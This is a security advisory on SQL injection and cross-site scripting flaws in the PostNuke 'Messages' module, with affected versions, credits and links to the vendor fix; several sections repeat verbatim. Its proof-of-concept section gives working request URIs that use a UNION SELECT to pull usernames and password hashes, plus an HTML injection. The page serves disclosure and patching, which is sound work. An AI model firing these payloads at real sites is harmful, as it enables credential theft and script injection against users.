PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities
BID:13789
Info
PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 13789 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 27 2005 12:00AM |
| Updated: | May 27 2005 12:00AM |
| Credit: | Discovery is credited to sp3x <[email protected]>. |
| Vulnerable: |
PostNuke Development Team PostNuke 0.76 RC4a PostNuke Development Team PostNuke 0.76 RC4 PostNuke Development Team PostNuke 0.75 |
| Not Vulnerable: | |
Discussion
PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities
PostNuke is prone to SQL injection and cross-site scripting vulnerabilities.
These issues affect the 'Messages' module and may allow an attacker to modify the logic of SQL queries and execute arbitrary HTML and script code in a user's browser leading to various attacks.
PostNuke 0.750 and subsequent versions are affected by these issues.
PostNuke is prone to SQL injection and cross-site scripting vulnerabilities.
These issues affect the 'Messages' module and may allow an attacker to modify the logic of SQL queries and execute arbitrary HTML and script code in a user's browser leading to various attacks.
PostNuke 0.750 and subsequent versions are affected by these issues.
Exploit / POC
PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities
No exploit is required, but proof of concept example URI have been provided.
http://www.example.com/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FR
OM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1
http://www.example.com/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0'<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1
A valid total_messages value is required.
No exploit is required, but proof of concept example URI have been provided.
http://www.example.com/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FR
OM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1
http://www.example.com/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0'<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1
A valid total_messages value is required.
Solution / Fix
PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities
Solution:
The vendor has released a fix to address these issues.
PostNuke Development Team PostNuke 0.75
PostNuke Development Team PostNuke 0.76 RC4
PostNuke Development Team PostNuke 0.76 RC4a
Solution:
The vendor has released a fix to address these issues.
PostNuke Development Team PostNuke 0.75
-
PostNuke Development Team PNSA 2005-2.tar.gz
http://news.postnuke.com/Downloads-index-req-getit-lid-471.html
PostNuke Development Team PostNuke 0.76 RC4
-
PostNuke Development Team PNSA 2005-2.tar.gz
http://news.postnuke.com/Downloads-index-req-getit-lid-471.html
PostNuke Development Team PostNuke 0.76 RC4a
-
PostNuke Development Team PNSA 2005-2.tar.gz
http://news.postnuke.com/Downloads-index-req-getit-lid-471.html
References
PostNuke SQL Injection and Cross-Site Scripting Vulnerabilities
References:
References:
- PostNuke Homepage (PostNuke Development Team)
- PostNuke Critical SQL Injection and XSS 0.750=>x (sp3x
)